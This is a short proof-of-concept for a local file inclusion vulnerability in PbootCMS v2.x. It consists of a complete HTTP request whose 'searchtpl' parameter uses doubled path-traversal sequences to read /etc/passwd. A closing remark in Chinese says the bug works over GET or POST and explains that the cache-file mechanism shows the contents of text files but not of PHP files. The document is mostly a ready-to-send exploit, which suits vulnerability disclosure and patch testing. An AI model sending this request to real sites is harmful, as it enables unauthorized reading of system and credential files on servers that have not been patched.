LFI in PbootCMS v2.x

GET /pbootcms/index.php?search=&searchtpl=/....//....//....//....//....//....//etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pbootcms/?search
Origin: http://localhost
Connection: close
Cookie: lg=cn; PbootSystem=2c1a845170112c22742dbd7286b72e99; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1572405857; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572405857
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

這裏既可以用get也可以用post請求，然後需要注意的是因爲這個文件包含是將包含的內容寫入一個緩存文件，然後再把緩存文件中的內容輸出，這個緩存文件是原文件名的md5值，拼接.php後綴，所以，包含php文件是不會有回顯的，只有包含文本文件才能看到回顯